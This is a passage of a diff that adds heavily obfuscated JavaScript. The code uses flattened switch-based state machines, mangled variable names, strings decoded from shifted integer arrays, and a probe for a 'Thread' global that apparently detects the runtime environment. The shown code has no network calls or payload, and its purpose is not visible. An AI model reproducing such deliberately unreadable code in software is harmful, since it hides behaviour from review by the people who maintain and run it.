{ + for (_$Ne = 0; _$Ne < _$qr.length; _$Ne++) { + _$oe = cipher; + _$be = _$_C; + _$le = _$Ge; + _$he = _$oe[_$be](_$le); + _$ge = _$qr; + _$ue = _$Ne; + _$pe = _$ge[_$ue]; + _$ye = _$he == _$pe; + if (_$ye) { + _$oe = _$hs; + _$be = _$Ge; + _$le = _$Ne; + _$oe[_$be] = _$le + } + } + } + break; + case 201: + _$Ee = _$Re; + break; + case 202: + for (_$es = 0; _$es < _$Nc.length; _$es++) { + _$oe = _$Br; + _$be = _$Nc; + _$le = _$es; + _$he = _$be[_$le]; + _$ge = 9; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$Br = _$ye + } + break; + case 203: + _$rs = _$$c.j(_$BC); + _$cs = {}; + _$Cr.apply(_$Ye, _$Vv); + break; + case 204: + _$cr[_$ar] = _$Be[0]; + break; + case 205: + _$vs = []; + break; + case 206: + _$ss = _$BC; + break; + case 207: + _$os = _$Oo; + _$ks = 1; + break; + case 208: + _$bv = [68, 1, 127, 121, 74, 41, 128, 116, 129, 130, 36, 93, 131, 86, 132, 44, 90, 133, 96, 134, 122, 61, 27, 135, 136, 37, 137, 40, 28, 138, 99, 10, 94, 9, 109, 73, 60, 12, 66, 139, 24, 103, 140, 30, 42, 100, 141, 115, 124, 105, 142, 143, 34, 89, 32, 113, 88, 51, 75, 144, 145, 97, 21, 146, 147, 148, 108, 149, 35, 14, 150, 114, 151, 76, 20, 152, 11, 18, 153, 154, 155, 123, 156, 157, 101, 158, 23, 26, 4, 47, 84, 159, 70, 160, 67, 161, 77, 118, 46, 48, 25, 59, 162, 57, 45, 104, 125, 43, 64, 163, 106, 119, 164, 165, 166, 58, 167, 168, 120, 102, 72, 87, 169, 107, 62, 31, 170, 171, 98, 172, 71, 92, 3, 173, 19, 81, 39, 52, 80, 79, 50, 55, 83, 56, 7, 53, 174, 175, 5, 176, 29, 22, 177, 78, 178, 179, 180, 2, 181, 8, 182, 6, 95, 13, 85, 49, 38, 117, 17, 0, 183, 184, 185, 54, 91, 111, 69, 126, 186, 82, 65, 187, 188, 63, 33, 110, 112, 189, 15, 16]; + break; + case 209: + _$Hr = _$xr; + _$bs = [163, 5, 127, 37, 122, 216, 103, 117, 148, 51, 155, 22, 181, 68, 46, 204, 193, 115, 187, 119]; + break; + case 210: + for (_$ls = 0; _$ls < _$ps.length; _$ls++) { + _$oe = _$hr; + _$be = _$ps; + _$le = _$ls; + _$he = _$be[_$le]; + _$ge = 8; + _$ue = _$he >> _$ge; + _$pe = _$bW(_$ue); + _$ye = _$oe + _$pe; + _$hr = _$ye + } + break; + case 211: + _$ps = [29440, 28672, 27648, 26880, 29696]; + break; + case 212: + _$hs = new Array(cipher.length); + break; + case 213: + _$xr = _$xr + 1; + break; + case 214: + _$bv = _$bv.p(_$kv); + break; + case 215: + for (_$gs = 0; _$gs < 10; _$gs++) { + _$oe = _$fc; + _$be = _$LC; + _$le = _$gs; + _$he = 6; + _$ge = _$le + _$he; + _$oe[_$be](_$ge) + } + break; + case 216: + _$ar = 0; + break; + case 217: + _$kv = 1; + break; + case 218: + _$sr = _$sr + 1; + break; + case 219: + _$us = _$Uo; + _$ps = 1; + break; + case 220: + _$ys = _$BC; + break; + case 221: + for (_$ws = 1; _$ws < _$Uv.length; _$ws++) { + _$oe = _$Uv; + _$be = _$OC; + _$le = _$ws; + _$he = _$oe[_$be](_$le); + _$ge = _$Ov; + _$ue = _$OC; + _$pe = _$ws; + _$ye = 1; + _$we = _$pe - _$ye; + _$de = _$ge[_$ue](_$we); + _$Me = _$he - _$de; + _$Ie = _$bW(_$Me); + _$Ov += _$Ie + } + break + } + } + } + function _$fU() { + var _$a = _$rk; + var _$e = _$ck; + var _$r = _$PA; + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w; + _$c = 1; + _$v = _$c; + while (!![]) { + switch (_$v) { + case 1: + _$s = _$Yo; + _$n = 1; + _$f = []; + _$t = _$r + _$a + _$e; + _$v += 9; + break; + case 2: + _$s = _$n; + _$v += 9; + break; + case 3: + _$f += _$GC; + _$v += 1; + break; + case 4: + return _$y; + case 5: + _$t = _$t.j(_$BC); + _$v -= 3; + break; + case 6: + _$f = _$w; + _$v += 3; + break; + case 7: + _$t += _$ZC; + _$v += 7; + break; + case 8: + _$t += _$_C; + _$v += 4; + break; + case 9: + _$w = _$t; + _$v += 10; + break; + case 10: + for (_$i = _$t.length - 1; _$i >= 0; _$i--) { + _$c = _$f; + _$o = _$LC; + _$k = _$t; + _$b = _$_C; + _$l = _$i; + _$h = _$k[_$b](_$l); + _$c[_$o](_$h) + } + _$v += 7; + break; + case 11: + _$t += _$zC; + _$v -= 4; + break; + case 12: + _$t += _$zC; + case 13: + for (_$g = 0; _$g < _$n.length; _$g++) { + _$c = _$y; + _$o = _$n; + _$k = _$g; + _$b = _$o[_$k]; + _$l = 7; + _$h = _$b >> _$l; + _$u = _$bW(_$h); + _$p = _$c + _$u; + _$y = _$p + } + _$v -= 6; + break; + case 14: + _$n = [12160, 4608, 6144]; + _$v -= 6; + break; + case 15: + _$s = 1; + _$v += 5; + break; + case 16: + _$f = _$f.j(_$BC); + _$v += 5; + break; + case 17: + _$n = _$n + 1; + _$v -= 1; + break; + case 18: + _$y = _$BC; + _$v += 5; + break; + case 19: + _$n = _$n.p(_$s); + _$v += 3; + break; + case 20: + _$w = _$f + _$t; + _$v += 4; + break; + case 21: + if (_$t.c(5) > _$f.c(4)) { + _$c = _$t; + _$o = _$EC; + _$k = _$c + _$o; + _$t = _$k + } + _$v -= 6; + break; + case 22: + if (_$t.c(5) > _$f.c(7)) { + _$c = _$t; + _$o = _$NC; + _$k = _$c + _$o; + _$t = _$k + } + _$v -= 19; + break; + case 23: + for (_$i = _$t.length - 1; _$i >= 4; _$i--) { + _$c = _$t; + _$o = _$LC; + _$k = _$w; + _$b = _$_C; + _$l = _$i; + _$h = _$k[_$b](_$l); + _$c[_$o](_$h) + } + _$v -= 18; + break; + case 24: + _$t = []; + _$v -= 6; + break + } + } + } + function _$tU() { + var _$a = _$Wo; + var _$e = _$VC; + var _$r = _$Vu; + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w; + _$c = 8; + _$v = _$c; + while (!![]) { + switch (_$v) { + case 1: + _$l = _$l.j(_$BC); + _$v += 1; + break; + case 2: + if (_$h.c(5) > _$l.c(4)) { + _$c = _$h; + _$s = _$EC; + _$n = _$c + _$s; + _$h = _$n + } + _$v += 1; + break; + case 3: + _$k = 1; + _$v += 8; + break; + case 4: + _$k = _$b; + _$v += 15; + break; + case 5: + return _$u; + case 6: + for (_$f = _$h.length - 1; _$f >= 0; _$f--) { + _$c = _$l; + _$s = _$LC; + _$n = _$h; + _$t = _$_C; + _$i = _$f; + _$o = _$n[_$t](_$i); + _$c[_$s](_$o) + } + _$v += 6; + break; + case 7: + _$h = _$h.j(_$BC); + _$v -= 3; + break; + case 8: + _$k = _$Qo; + _$b = 1; + _$l = []; + _$h = _$e + _$a + _$r; + _$v -= 2; + break; + case 9: + _$g = _$h; + _$v += 7; + break; + case 10: + _$l = _$g; + _$v -= 1; + break; + case 11: + _$g = _$l + _$h; + _$v += 6; + break; + case 12: + _$b = _$b + 1; + _$v -= 11; + break; + case 13: + _$h += _$ZC; + _$v += 10; + break; + case 14: + _$h += _$zC; + _$v += 10; + break; + case 15: + _$l += _$GC; + _$v -= 10; + break; + case 16: + _$b = _$b.p(_$k); + _$v += 6; + break; + case 17: + _$h = []; + _$v += 3; + break; + case 18: + for (_$f = _$h.length - 1; _$f >= 4; _$f--) { + _$c = _$h; + _$s = _$LC; + _$n = _$g; + _$t = _$_C; + _$i = _$f; + _$o = _$n[_$t](_$i); + _$c[_$s](_$o) + } + _$v -= 11; + break; + case 19: + _$h += _$zC; + _$v -= 6; + break; + case 20: + _$u = _$BC; + _$v -= 2; + break; + case 21: + _$h += _$_C; + _$v -= 7; + break; + case 22: + if (_$h.c(5) > _$l.c(7)) { + _$c = _$h; + _$s = _$NC; + _$n = _$c + _$s; + _$h = _$n + } + _$v -= 7; + break; + case 23: + _$b = [210944, 206848, 237568, 172032, 215040, 223232, 206848]; + _$v -= 2; + break; + case 24: + for (_$p = 0; _$p < _$b.length; _$p++) { + _$c = _$u; + _$s = _$b; + _$n = _$p; + _$t = _$s[_$n]; + _$i = 11; + _$o = _$t >> _$i; + _$y = _$bW(_$o); + _$w = _$c + _$y; + _$u = _$w + } + _$v -= 14; + break + } + } + } + function _$iU() { + var _$a, _$e, _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z, _$z, _$E, _$R, _$_, _$L, _$V, _$q, _$H, _$x, _$B, _$X, _$F, _$J, _$$, _$aa, _$ea, _$ra, _$ca, _$va, _$sa, _$na, _$fa, _$ta, _$ia, _$oa, _$ka, _$ba, _$la, _$ha, _$ga, _$ua, _$pa, _$ya, _$wa, _$da, _$Ma, _$Ia, _$Aa, _$Sa, _$ma, _$Ta, _$ja, _$Ca, _$Da, _$Ka, _$Qa, _$Wa, _$Ya, _$Ua, _$Oa, _$Pa, _$Ga, _$Na, _$Za, _$za, _$Ea, _$Ra, _$_a, _$La, _$Va, _$qa, _$Ha, _$xa, _$Ba, _$Xa, _$Fa, _$Ja, _$$a, _$ae, _$ee, _$re, _$ce, _$ve, _$se, _$ne, _$fe, _$te, _$ie, _$oe, _$ke, _$be, _$le, _$he, _$ge, _$ue, _$pe, _$ye, _$we, _$de, _$Me, _$Ie, _$Ae, _$Se, _$me, _$Te, _$je, _$Ce, _$De, _$Ke, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ne, _$Ze, _$ze, _$Ee, _$Re, _$_e, _$Le, _$Ve, _$qe, _$He, _$xe, _$Be, _$Xe, _$Fe, _$Je, _$$e, _$ar, _$er, _$rr, _$cr, _$vr, _$sr, _$nr, _$fr, _$tr, _$ir, _$or, _$kr, _$br, _$lr, _$hr, _$gr, _$ur, _$pr, _$yr, _$wr, _$dr, _$Mr, _$Ir, _$Ar, _$Sr, _$mr, _$Tr, _$jr, _$Cr, _$Dr, _$Kr, _$Qr, _$Wr, _$Yr, _$Ur, _$Or, _$Pr, _$Gr, _$Nr, _$Zr, _$zr, _$Er, _$Rr, _$_r, _$Lr, _$Vr, _$qr, _$Hr, _$xr, _$Br, _$Xr, _$Fr, _$Jr, _$$r, _$ac, _$ec, _$rc, _$cc, _$vc, _$sc, _$nc, _$fc, _$tc, _$ic, _$oc, _$kc, _$bc, _$lc, _$hc, _$gc, _$uc, _$pc, _$yc, _$wc, _$dc, _$Mc, _$Ic, _$Ac, _$Sc, _$mc, _$Tc, _$jc, _$Cc, _$Dc, _$Kc, _$Qc, _$Wc, _$Yc, _$Uc, _$Oc, _$Pc, _$Gc, _$Nc, _$Zc, _$zc, _$Ec, _$Rc, _$_c, _$Lc, _$Vc, _$qc, _$Hc, _$xc, _$Bc, _$Xc, _$Fc, _$Jc, _$$c, _$av, _$ev, _$rv, _$cv, _$vv, _$sv, _$nv, _$fv, _$tv, _$iv, _$ov, _$kv, _$bv, _$lv, _$hv, _$gv, _$uv, _$pv, _$yv, _$wv, _$dv, _$Mv, _$Iv, _$Av, _$Sv, _$mv, _$Tv, _$jv, _$Cv, _$Dv, _$Kv, _$Qv, _$Wv, _$Yv, _$Uv, _$Ov, _$Pv, _$Gv, _$Nv, _$Zv, _$zv, _$Ev, _$Rv, _$_v, _$Lv, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$Jv, _$$v, _$as, _$es, _$rs, _$cs, _$vs, _$ss, _$ns, _$fs, _$ts, _$is, _$os, _$ks, _$bs, _$ls, _$hs, _$gs, _$us, _$ps, _$ys, _$ws, _$ds, _$Ms, _$Is, _$As, _$Ss, _$ms, _$Ts, _$js, _$Cs, _$Ds; + function _$Ks(_$a, _$e, _$r) { + var _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O; + _$v = []; + _$s = _$v; + for (_$f = 0; _$f < 10; _$f++) { + _$v = _$s; + _$t = _$LC; + _$i = _$f; + _$o = 6; + _$k = _$i + _$o; + _$v[_$t](_$k) + } + _$v = _$s; + _$t = 4; + _$i = _$v[_$t]; + _$o = _$s; + _$k = 6; + _$b = _$o[_$k]; + _$l = _$i + _$b; + _$n = _$l; + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 7; + _$o = _$t[_$i]; + _$k = _$v * _$o; + _$n = _$k; + _$v = _$s; + _$t = 6; + _$i = _$v[_$t]; + _$o = _$s; + _$k = 5; + _$b = _$o[_$k]; + _$l = _$i - _$b; + _$h = 0; + _$g = _$l > _$h; + if (_$g) { + _$v = _$n; + _$t = _$s; + _$i = 3; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$b = _$s; + _$l = 5; + _$h = _$b[_$l]; + _$g = _$k - _$h; + _$n = _$g + } else { + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v * _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k + } + _$v = _$s; + _$t = 8; + _$i = _$n; + _$o = _$s; + _$k = 4; + _$b = _$o[_$k]; + _$l = _$i / _$b; + _$v[_$t] = _$l; + _$v = false; + _$u = _$v; + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 8; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 4; + _$o = _$t[_$i]; + _$k = _$v / _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v - _$o; + if (_$k) { + _$v = _$n; + _$t = _$s; + _$i = 3; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$n = _$k + } + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v * _$o; + _$n = _$k; + _$v = _$s; + _$t = 0; + _$i = _$v[_$t]; + _$p = _$i; + try { + _$v = Thread; + _$y = _$v + } catch (_$a) { + _$v = 2342; + _$u = _$v + } + _$v = _$s; + _$t = 8; + _$i = _$v[_$t]; + _$o = _$s; + _$k = 5; + _$b = _$o[_$k]; + _$l = _$i - _$b; + _$h = 0; + _$g = _$l > _$h; + if (_$g) { + _$v = _$n; + _$t = _$s; + _$i = 4; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 6; + _$o = _$t[_$i]; + _$k = _$v + _$o; + _$b = _$s; + _$l = 5; + _$h = _$b[_$l]; + _$g = _$k - _$h; + _$n = _$g + } else { + _$v = _$n; + _$t = _$s; + _$i = 0; + _$o = _$t[_$i]; + _$k = _$v * _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k + } + _$v = _$s; + _$t = 4; + _$i = _$n; + _$o = _$s; + _$k = 5; + _$b = _$o[_$k]; + _$l = _$i - _$b; + _$v[_$t] = _$l; + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 8; + _$o = _$t[_$i]; + _$k = _$v / _$o; + _$n = _$k; + _$v = _$n; + _$t = _$s; + _$i = 2; + _$o = _$t[_$i]; + _$k = _$v - _$o; + _$n = _$k; + _$v = 2; + _$t = _$e; + _$i = _$v * _$t; + _$o = 1; + _$k = _$i + _$o; + _$b = _$r; + _$l = _$k > _$b; + if (_$l) { + return + } else { + _$v = 2; + _$t = _$e; + _$i = _$v * _$t; + _$o = 2; + _$k = _$i + _$o; + _$b = _$r; + _$l = _$k > _$b; + if (_$l) { + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$v[_$b]; + _$h = _$a; + _$g = _$e; + _$w = _$h[_$g]; + _$d = _$l < _$w; + if (_$d) { + _$v = _$a; + _$t = _$e; + _$i = _$v[_$t]; + _$c = _$i; + _$v = _$a; + _$t = _$e; + _$i = _$a; + _$o = 2; + _$k = _$e; + _$b = _$o * _$k; + _$l = 1; + _$h = _$b + _$l; + _$g = _$i[_$h]; + _$v[_$t] = _$g; + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$c; + _$v[_$b] = _$l + } + } else { + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$v[_$b]; + _$h = _$a; + _$g = 2; + _$w = _$e; + _$d = _$g * _$w; + _$M = 2; + _$I = _$d + _$M; + _$A = _$h[_$I]; + _$S = _$l <= _$A; + _$O = _$S; + if (_$O) { + _$m = _$a; + _$T = 2; + _$j = _$e; + _$C = _$T * _$j; + _$D = 1; + _$K = _$C + _$D; + _$Q = _$m[_$K]; + _$W = _$a; + _$Y = _$e; + _$U = _$W[_$Y]; + _$O = _$Q < _$U + } + if (_$O) { + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$v[_$b]; + _$c = _$l; + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$a; + _$h = _$e; + _$g = _$l[_$h]; + _$v[_$b] = _$g; + _$v = _$a; + _$t = _$e; + _$i = _$c; + _$v[_$t] = _$i; + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 1; + _$b = _$o + _$k; + _$l = _$a; + _$h = _$PC; + _$g = _$l[_$h]; + _$w = 1; + _$d = _$g - _$w; + _$Ks(_$v, _$b, _$d) + } else { + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 2; + _$b = _$o + _$k; + _$l = _$v[_$b]; + _$h = _$a; + _$g = 2; + _$w = _$e; + _$d = _$g * _$w; + _$M = 1; + _$I = _$d + _$M; + _$A = _$h[_$I]; + _$S = _$l < _$A; + _$O = _$S; + if (_$O) { + _$m = _$a; + _$T = 2; + _$j = _$e; + _$C = _$T * _$j; + _$D = 2; + _$K = _$C + _$D; + _$Q = _$m[_$K]; + _$W = _$a; + _$Y = _$e; + _$U = _$W[_$Y]; + _$O = _$Q < _$U + } + if (_$O) { + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 2; + _$b = _$o + _$k; + _$l = _$v[_$b]; + _$c = _$l; + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 2; + _$b = _$o + _$k; + _$l = _$a; + _$h = _$e; + _$g = _$l[_$h]; + _$v[_$b] = _$g; + _$v = _$a; + _$t = _$e; + _$i = _$c; + _$v[_$t] = _$i; + _$v = _$a; + _$t = 2; + _$i = _$e; + _$o = _$t * _$i; + _$k = 2; + _$b = _$o + _$k; + _$l = _$a; + _$h = _$PC; + _$g = _$l[_$h]; + _$w = 1; + _$d = _$g - _$w; + _$Ks(_$v, _$b, _$d) + } + } + } + } + } + _$a = 0; + _$e = _$a; + _$r = 295; + _$c = 97; + _$v = 73; + _$s = 26; + _$n = 53; + _$f = 100; + _$t = 4; + _$i = 92; + _$o = 7; + _$k = 143; + _$b = 112; + _$l = 107; + _$h = 140; + _$g = 91; + _$u = 171; + _$p = 155; + _$y = 156; + _$w = 3; + _$d = 164; + _$M = 172; + _$I = 37; + _$A = 55; + _$S = 11; + _$m = 67; + _$T = 323; + _$j = 128; + _$C = 324; + _$D = 243; + _$K = 215; + _$Q = 51; + _$W = 332; + _$Y = 203; + _$U = 28; + _$O = 98; + _$P = 312; + _$G = 93; + _$N = 175; + _$Z = 253; + _$z = [_$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d, _$M, _$I, _$A, _$S, _$m, _$T, _$j, _$C, _$D, _$K, _$Q, _$W, _$Y, _$U, _$O, _$P, _$G, _$N, _$Z]; + _$E = _$z; + while (!![]) { + switch (_$E[_$e++]) { + case 1: + _$nv = _$oa[0]; + break; + case 2: + _$sv = _$xv[0]; + break; + case 3: + _$$e = [417792, 442368, 454656, 454656, 466944]; + break; + case 4: + _$Ua = 1; + break; + case 5: + _$rc = [50688, 51712, 53760, 55296]; + break; + case 6: + _$wa = _$wa.p(_$ya); + break; + case 7: + _$Ua = _$Oa; + break; + case 8: + for (_$R = _$Ir; _$Ir < _$KW.length; _$Ir++) { + _$a = _$KW; + _$r = _$Ir; + _$c = _$a[_$r]; + _$_ = _$c; + _$a = _$xv; + _$r = 0; + _$c = _$a[_$r]; + _$v = _$_; + _$s = _$c < _$v; + if (_$s) { + _$a = _$xv; + _$r = 0; + _$c = _$_; + _$a[_$r] = _$c; + _$a = _$xv; + _$r = 0; + _$c = _$xv; + _$v = _$PC; + _$s = _$c[_$v]; + _$n = 1; + _$f = _$s - _$n; + _$Ks(_$a, _$r, _$f) + } + } + break; + case 9: + for (_$L = Math[_$oc]((_$Ra.length - 2) / 2); _$L >= 0; _$L--) { + _$a = _$Ra; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$L; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Ra; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ra; + _$i = _$L; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Ra; + _$r = _$L; + _$c = _$a[_$r]; + _$_a = _$c; + _$a = _$Ra; + _$r = _$L; + _$c = _$Ra; + _$v = 2; + _$s = _$L; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$_a; + _$a[_$n] = _$f + } + } else { + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ra; + _$i = 2; + _$o = _$L; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ra; + _$q = 2; + _$H = _$L; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ra; + _$$ = _$L; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$_a = _$f; + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ra; + _$t = _$L; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ra; + _$r = _$L; + _$c = _$_a; + _$a[_$r] = _$c; + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Ra; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } else { + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Ra; + _$i = 2; + _$o = _$L; + _$k = _$i * _$o; + _$b = 1; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f < _$h; + _$u = _$g; + if (_$u) { + _$V = _$Ra; + _$q = 2; + _$H = _$L; + _$x = _$q * _$H; + _$B = 2; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Ra; + _$$ = _$L; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$_a = _$f; + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ra; + _$t = _$L; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Ra; + _$r = _$L; + _$c = _$_a; + _$a[_$r] = _$c; + _$a = _$Ra; + _$r = 2; + _$c = _$L; + _$v = _$r * _$c; + _$s = 2; + _$n = _$v + _$s; + _$f = _$Ra; + _$t = _$PC; + _$i = _$f[_$t]; + _$o = 1; + _$k = _$i - _$o; + _$Ks(_$a, _$n, _$k) + } + } + } + } + break; + case 10: + break; + case 11: + _$ev = _$Xe[0]; + break; + case 12: + for (_$ca = 0; _$ca < _$Pc.length; _$ca++) { + _$a = _$Ae; + _$r = _$Pc; + _$c = _$ca; + _$v = _$r[_$c]; + _$s = 12; + _$n = _$v >> _$s; + _$f = _$bW(_$n); + _$t = _$a + _$f; + _$Ae = _$t + } + break; + case 13: + _$va = 8; + _$sa = _$Ko; + _$na = 1; + break; + case 14: + _$Ze = _$pc[0]; + break; + case 15: + _$Ge = 1; + _$fa = [27, 38, 346, 189, 177, 377, 75, 192, 266, 320, 351, 305, 184, 248, 298, 376, 280, 86, 252, 190]; + break; + case 16: + _$Er = _$Er.p(_$zr); + break; + case 17: + _$Or = 1; + break; + case 18: + break; + case 19: + _$oa = _$qY[_$rr](0, _$rs); + break; + case 20: + _$ar = _$iv.length; + _$Pa.apply(_$E, _$fe); + break; + case 21: + _$ba = _$XW[_$ze](0, _$oe); + _$ha = _$Do; + _$ga = 1; + break; + case 22: + for (_$ua = Math[_$zc]((_$Hc.length - 2) / 2); _$ua >= 0; _$ua--) { + _$a = _$Hc; + _$r = _$PC; + _$c = _$a[_$r]; + _$v = 2; + _$s = _$c % _$v; + _$n = 0; + _$f = _$s == _$n; + _$t = _$f; + if (_$t) { + _$V = 2; + _$q = _$ua; + _$H = _$V * _$q; + _$x = 1; + _$B = _$H + _$x; + _$X = _$Hc; + _$F = _$PC; + _$J = _$X[_$F]; + _$$ = 1; + _$aa = _$J - _$$; + _$t = _$B == _$aa + } + if (_$t) { + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Hc; + _$i = _$ua; + _$o = _$t[_$i]; + _$k = _$f < _$o; + if (_$k) { + _$a = _$Hc; + _$r = _$ua; + _$c = _$a[_$r]; + _$xc = _$c; + _$a = _$Hc; + _$r = _$ua; + _$c = _$Hc; + _$v = 2; + _$s = _$ua; + _$n = _$v * _$s; + _$f = 1; + _$t = _$n + _$f; + _$i = _$c[_$t]; + _$a[_$r] = _$i; + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$xc; + _$a[_$n] = _$f + } + } else { + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$t = _$Hc; + _$i = 2; + _$o = _$ua; + _$k = _$i * _$o; + _$b = 2; + _$l = _$k + _$b; + _$h = _$t[_$l]; + _$g = _$f <= _$h; + _$u = _$g; + if (_$u) { + _$V = _$Hc; + _$q = 2; + _$H = _$ua; + _$x = _$q * _$H; + _$B = 1; + _$X = _$x + _$B; + _$F = _$V[_$X]; + _$J = _$Hc; + _$$ = _$ua; + _$aa = _$J[_$$]; + _$u = _$F < _$aa + } + if (_$u) { + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$a[_$n]; + _$xc = _$f; + _$a = _$Hc; + _$r = 2; + _$c = _$ua; + _$v = _$r * _$c; + _$s = 1; + _$n = _$v + _$s; + _$f = _$Hc; + _$t = _$ua; + _$i = _$f[_$t]; + _$a[_$n] = _$i; + _$a = _$Hc; + _$r = _$ua; + _$c = _$xc; + _$a[_$r] = 